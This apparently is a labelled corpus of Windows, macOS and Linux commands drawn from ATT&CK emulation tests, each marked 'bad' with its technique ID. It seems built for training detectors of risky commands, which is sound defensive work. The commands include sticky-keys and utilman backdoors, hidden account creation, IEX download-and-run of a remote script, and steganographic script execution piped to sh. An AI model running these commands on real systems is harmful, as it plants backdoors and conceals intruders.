cowWhySo/permission-command-corpus huggingface dataset:
Command: $input_table = "#{parent_list}".split(",") Foreach ($item in $input_table) { $item = $item.trim() reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Attaches Command Prompt as a Debugger to a List of Target Processes
Notes: Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.
Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
Command: IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\sethc.exe /A icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace binary of sticky keys
Notes: Replace sticky keys binary (sethc.exe) with cmd.exe
Command: copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace binary of sticky keys
Notes: Replace sticky keys binary (sethc.exe) with cmd.exe
Command: IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd ) takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Create Symbolic Link From osk.exe to cmd.exe
Notes: Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.
Command: takeown /F %windir%\System32\osk.exe /A icacls %windir%\System32\osk.exe /grant Administrators:F /t del %windir%\System32\osk.exe copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe icacls %windir%\system32\osk.exe /inheritance:d icacls %windir%\system32\osk.exe /setowner "NT SERVICE\TrustedInstaller" icacls %windir%\System32\osk.exe /grant "NT SERVICE\TrustedInstaller":F /t icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX icacls %windir%\system32\osk.exe /grant:r Administrators:RX
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Create Symbolic Link From osk.exe to cmd.exe
Notes: Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.
Command: reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f atbroker /start malware_test
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Atbroker.exe (AT) Executes Arbitrary Command via Registry Key
Notes: Executes code specified in the registry for a new AT (Assistive Technologies).
Command: reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Atbroker.exe (AT) Executes Arbitrary Command via Registry Key
Notes: Executes code specified in the registry for a new AT (Assistive Technologies).
Command: reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /t REG_SZ /d malware_test /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Auto-start application on user logon
Notes: Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value.
This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session.
Command: reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Auto-start application on user logon
Notes: Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value.
This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session.
Command: IF NOT EXIST C:\Windows\System32\utilman_backup.exe (copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\utilman.exe /A icacls C:\Windows\System32\utilman.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace utilman.exe (Ease of Access Binary) with cmd.exe
Notes: Replace utilman.exe (Ease of Access binary) with cmd.exe. This allows the user to launch an elevated command prompt by clicking the Ease of Access button on the login screen.
Command: copy /Y C:\Windows\System32\utilman_backup.exe C:\Windows\System32\utilman.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace utilman.exe (Ease of Access Binary) with cmd.exe
Notes: Replace utilman.exe (Ease of Access binary) with cmd.exe. This allows the user to launch an elevated command prompt by clicking the Ease of Access button on the login screen.
Command: IF NOT EXIST C:\Windows\System32\Magnify_backup.exe (copy C:\Windows\System32\Magnify.exe C:\Windows\System32\Magnify_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\Magnify.exe /A icacls C:\Windows\System32\Magnify.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Magnify.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace Magnify.exe (Magnifier binary) with cmd.exe
Notes: Replace Magnify.exe (Magnifier binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Magnifier from the Accessibility menu on the login screen.
Command: copy /Y C:\Windows\System32\Magnify_backup.exe C:\Windows\System32\Magnify.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace Magnify.exe (Magnifier binary) with cmd.exe
Notes: Replace Magnify.exe (Magnifier binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Magnifier from the Accessibility menu on the login screen.
Command: IF NOT EXIST C:\Windows\System32\Narrator_backup.exe (copy C:\Windows\System32\Narrator.exe C:\Windows\System32\Narrator_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\Narrator.exe /A icacls C:\Windows\System32\Narrator.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Narrator.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace Narrator.exe (Narrator binary) with cmd.exe
Notes: Replace Narrator.exe (Narrator binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Narrator button from the Accessibility menu on the login screen.
Command: copy /Y C:\Windows\System32\Narrator_backup.exe C:\Windows\System32\Narrator.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace Narrator.exe (Narrator binary) with cmd.exe
Notes: Replace Narrator.exe (Narrator binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Narrator button from the Accessibility menu on the login screen.
Command: IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\DisplaySwitch.exe /A icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
Notes: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt by pressing the Windows Key + P on the login screen.
Command: copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
Notes: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt by pressing the Windows Key + P on the login screen.
Command: IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd ) takeown /F C:\Windows\System32\AtBroker.exe /A icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace AtBroker.exe (App Switcher binary) with cmd.exe
Notes: Replace AtBroker.exe (App Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt from the login screen by locking and then unlocking the computer after toggling on any of the accessibility tools in the Accessibility menu.
Command: copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.008
Platform: windows
ATT&CK tags: T1546.008
Source rule: Replace AtBroker.exe (App Switcher binary) with cmd.exe
Notes: Replace AtBroker.exe (App Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt from the login screen by locking and then unlocking the computer after toggling on any of the accessibility tools in the Accessibility menu.
Command: copy-item "$env:windir\System32\cmd.exe" -destination "$env:allusersprofile\cmd.exe" start-process "$env:allusersprofile\cmd.exe" sleep -s 5 stop-process -name "cmd" | out-null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036
Platform: windows
ATT&CK tags: T1036
Source rule: System File Copied to Unusual Location
Notes: It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.
Command: remove-item "$env:allusersprofile\cmd.exe" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036
Platform: windows
ATT&CK tags: T1036
Source rule: System File Copied to Unusual Location
Notes: It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.
Command: Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip" -DestinationPath "$env:userprofile\Downloads\T1036" -Force cd "$env:userprofile\Downloads\T1036" cmd /c "$env:userprofile\Downloads\T1036\README.cmd" >$null 2>$null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036
Platform: windows
ATT&CK tags: T1036
Source rule: Malware Masquerading and Execution from Zip File
Notes: When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)
Command: taskkill /IM Calculator.exe /f >$null 2>$null Remove-Item "$env:userprofile\Downloads\T1036" -recurse -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036
Platform: windows
ATT&CK tags: T1036
Source rule: Malware Masquerading and Execution from Zip File
Notes: When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)
Command: cscript "#{vbscript}" > $env:TEMP\T1059.005.out.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.005
Platform: windows
ATT&CK tags: T1059.005
Source rule: Visual Basic script execution to gather local computer information
Notes: Visual Basic execution test, execute vbscript via PowerShell.

When successful, system information will be written to $env:TEMP\T1059.005.out.txt.
Command: Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.005
Platform: windows
ATT&CK tags: T1059.005
Source rule: Visual Basic script execution to gather local computer information
Notes: Visual Basic execution test, execute vbscript via PowerShell.

When successful, system information will be written to $env:TEMP\T1059.005.out.txt.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt" -officeProduct "Word" -sub "Exec"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.005
Platform: windows
ATT&CK tags: T1059.005
Source rule: Encoded VBS code execution
Notes: This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution
a message box will pop up displaying "ART T1059.005"

A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required.
You can validate this by opening WinWord -> File -> Account -> About Word
Command: Get-WmiObject win32_process | Where-Object {$_.CommandLine -like "*mshta*"} | % { "$(Stop-Process $_.ProcessID)" } | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.005
Platform: windows
ATT&CK tags: T1059.005
Source rule: Encoded VBS code execution
Notes: This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution
a message box will pop up displaying "ART T1059.005"

A note regarding this module, due to the way that this module utilizes "ScriptControl" a 64bit version of Microsoft Office is required.
You can validate this by opening WinWord -> File -> Account -> About Word
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt" -officeProduct "Word" -sub "Extract"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.005
Platform: windows
ATT&CK tags: T1059.005
Source rule: Extract Memory via VBA
Notes: This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this
we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that
memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
Command: Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.005
Platform: windows
ATT&CK tags: T1059.005
Source rule: Extract Memory via VBA
Notes: This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this
we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that
memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
Command: sudo dscl . -create /Users/#{user_name} UniqueID 333
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.002
Platform: macos
ATT&CK tags: T1564.002
Source rule: Create Hidden User using UniqueID < 500
Notes: Add a hidden user on macOS using Unique ID < 500 (users with that ID are hidden by default)
Command: sudo dscl . -delete /Users/#{user_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.002
Platform: macos
ATT&CK tags: T1564.002
Source rule: Create Hidden User using UniqueID < 500
Notes: Add a hidden user on macOS using Unique ID < 500 (users with that ID are hidden by default)
Command: sudo dscl . -create /Users/#{user_name} IsHidden 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.002
Platform: macos
ATT&CK tags: T1564.002
Source rule: Create Hidden User using IsHidden option
Notes: Add a hidden user on macOS using IsHidden optoin
Command: NET USER #{user_name}$ #{user_password} /ADD /expires:never REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v #{user_name}$ /t REG_DWORD /d 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.002
Platform: windows
ATT&CK tags: T1564.002
Source rule: Create Hidden User in Registry
Notes: Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.
Reference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Command: reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v #{user_name}$ /f >nul 2>&1 net user ${user_name}$ /delete >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1564.002
Platform: windows
ATT&CK tags: T1564.002
Source rule: Create Hidden User in Registry
Notes: Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.
Reference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Command: regsvr32.exe #{dll_payload}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.003
Platform: windows
ATT&CK tags: T1553.003
Source rule: SIP (Subject Interface Package) Hijacking via Custom DLL
Notes: Registers a DLL that logs signature checks, mimicking SIP hijacking. This test uses a DLL from 
https://github.com/gtworek/PSBits/tree/master/SIP and registers it using regsvr32, thereby causing
the system to utilize it during signature checks, and logging said checks.
Command: regsvr32.exe /u #{dll_payload}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.003
Platform: windows
ATT&CK tags: T1553.003
Source rule: SIP (Subject Interface Package) Hijacking via Custom DLL
Notes: Registers a DLL that logs signature checks, mimicking SIP hijacking. This test uses a DLL from 
https://github.com/gtworek/PSBits/tree/master/SIP and registers it using regsvr32, thereby causing
the system to utilize it during signature checks, and logging said checks.
Command: Get-Content "#{image_file}", "#{tar_file}" -Encoding byte -ReadCount 0 | Set-Content "#{new_image_file}" -Encoding byte
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1001.002
Platform: windows
ATT&CK tags: T1001.002
Source rule: Steganographic Tarball Embedding
Notes: This atomic test, named "Steganographic Tarball Embedding", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) 
within an image.

The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a 
file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image 
file and the tarball
Command: Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore Remove-Item -Path "#{new_image_file}" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1001.002
Platform: windows
ATT&CK tags: T1001.002
Source rule: Steganographic Tarball Embedding
Notes: This atomic test, named "Steganographic Tarball Embedding", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) 
within an image.

The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a 
file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image 
file and the tarball
Command: Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore Remove-Item -Path "$HOME\result.ps1" -Force -ErrorAction Ignore Remove-Item -Path "$HOME\textExtraction.ps1" -Force -ErrorAction Ignore Remove-Item -Path "$HOME\decoded.ps1" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1001.002
Platform: windows
ATT&CK tags: T1001.002
Source rule: Embedded Script in Image Execution via Extract-Invoke-PSImage
Notes: This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file. 
The PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden 
within the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems.

The test begins by ensuring the availability of the malicious image file and the Extract-Invok
Command: cat "#{script}" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat "#{image}" - > "#{evil_image}"; strings "#{evil_image}" | tail -n 1 | base64 -d | sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1001.002
Platform: linux
ATT&CK tags: T1001.002
Source rule: Execute Embedded Script in Image via Steganography
Notes: This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.